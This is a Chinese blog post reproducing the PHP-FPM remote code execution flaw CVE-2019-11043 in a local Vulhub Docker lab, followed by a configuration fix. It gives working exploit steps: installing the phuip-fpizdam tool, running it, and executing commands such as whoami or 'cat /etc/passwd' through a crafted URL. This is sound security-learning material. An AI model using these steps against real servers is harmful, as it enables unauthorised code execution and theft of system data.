• 【漏洞复现】之PHP-FRM远程代码执行漏洞(CVE-2019-11043)复现


    (本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)

    该复现参考网络中的文章,该漏洞复现仅仅是为了学习交流,严禁非法使用!!!

    一、介绍

    CVE-2019-11043:远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码,向Nginx + PHP-FPM的服务器 URL发送 %0a 时,服务器返回异常

    • 该漏洞需要在nginx.conf中进行特定配置才能触发,具体配置如下
    1 location ~ [^/].php(/|$) {
    2  ...
    3  fastcgi_split_path_info ^(.+?.php)(/.*)$;
    4  fastcgi_param PATH_INFO $fastcgi_path_info;
    5  fastcgi_pass   php:9000;
    6  ...
    7 }
    • 攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info指令中的Regexp,Regexp被损坏导致PATH_INFO为空,从而触发该漏洞
    • 影响范围:PHP5.6-7.x

    (介绍源于http://blog.leanote.com/post/snowming/9da184ef24bd十分详细,感谢!!!)

    二、漏洞复现过程

    1.环境准备

    • 使用之前在Kali中安装的Docker进行复现,安装过程请参考https://www.cnblogs.com/yankaohaitaiwei/p/11788333.htm
    • 在Kali中还需安装工具phuip-fpizdam(在Kali中安装该工具方便测试,这时攻击者和靶机都是同一个Kali,如果不想攻击者和靶机是同一个,在攻击者主机上安装该工具,并且攻击者必须与靶机连通)
      • 下载phuip-fpizdam
    git clone https://github.com/neex/phuip-fpizdam

      • 进入到下载好的phuip-fpizdam目录中,可以看到有很多.go文件,说明该工具需要go语言的环境支持

      • 安装go环境
    go  查看环境中是否有go环境,有的话会返回帮助信息
    apt install golang-go  安装go
    go version  查看go版本

      • 安装phuip-fpizdam
    go get -u github.com/neex/phuip-fpizdam

    2.启动Docker,进入Vulhub下的php目录下的CVE-2019-11043中,启动整个环境

    /etc/init.d/docker start

    cd vulhub-master/
    cd php
    cd CVE-2019-11043

    docker-compose up -d

    3.查看端口

    docker ps  列出所有在运行的容器信息

    4.根据回显,在宿主机的浏览器上访问使用Vulhub搭建好的所存有漏洞的站点

    5.回到Kali,启动工具phuip-fpizdam

    1 cd go/bin
    2 ./phuip-fpizdam

    6.检验漏洞是否存在

    ./phuip-fpizdam http://127.0.0.1:8080/index.php

    • 根据回显可知漏洞存在,且漏洞的利用方式也给出了

    7.漏洞利用,也可将whoami换成其他命令,如:ls、cat /etc/passwd等等,这里不做过多演示

    • 更换为ifconfig命令可能不会成功,可能是Docker环境不支持ifconfig
    curl "http://127.0.0.1:8080/index.php?a=whoami"
    • 如果一次运行没有成功,多试几次即可

    三、修复

    1.查看运行的Docker

    docker ps

    2.进入容器内部,并在Nginx配置文件下查找fastcgi_split_path_info

    1 docker exec -it b92dfa82075b /bin/bash
    2 grep -Rin --color 'fastcgi_split_path_info' /etc/nginx/

    3.读取Nginx的配置文件,找到fastcgi_split_path_info(用作URL匹配)和fastcgi_param PATH_INFO,将其注释即可完成修复

    1 cat /etc/nginx/conf.d/default.conf
    2 3 curl "http://127.0.0.1:8080/index.php?=cat /etc/nginx/conf.d/default.conf"  利用漏洞

  • 相关阅读:
    未能加载文件或程序集“xxx, Version=x.x.x.x, Culture=neutral, PublicKeyToken=xxxxxxxxxxxx”或它的某一个依赖项。系统找不到指定的文件
    RabbitMQ本地正常,发布到服务器上 出行连接失败
    Windows 服务 创建 安装 卸载 和调试
    CSS 格式化 一行一条
    ES6---new Promise()讲解,Promise对象是用来干嘛的?
    Win Server 2008 R2 IIS 默认只能添加一个 443 HTTPS 端口
    MVC 部分视图:Partial() 、RenderPartial() 、 Action() 、RenderAction() 、 RenderPage() 区别
    ;(function ($, undefined){ })(jQuery); 的使用及说明
    JS中的call()方法和apply()方法用法总结
    MongoDB服务无法启动,windows提示发生服务特定错误:100
  • 原文地址:https://www.cnblogs.com/yankaohaitaiwei/p/11795972.html
Copyright © 2020-2023  润新知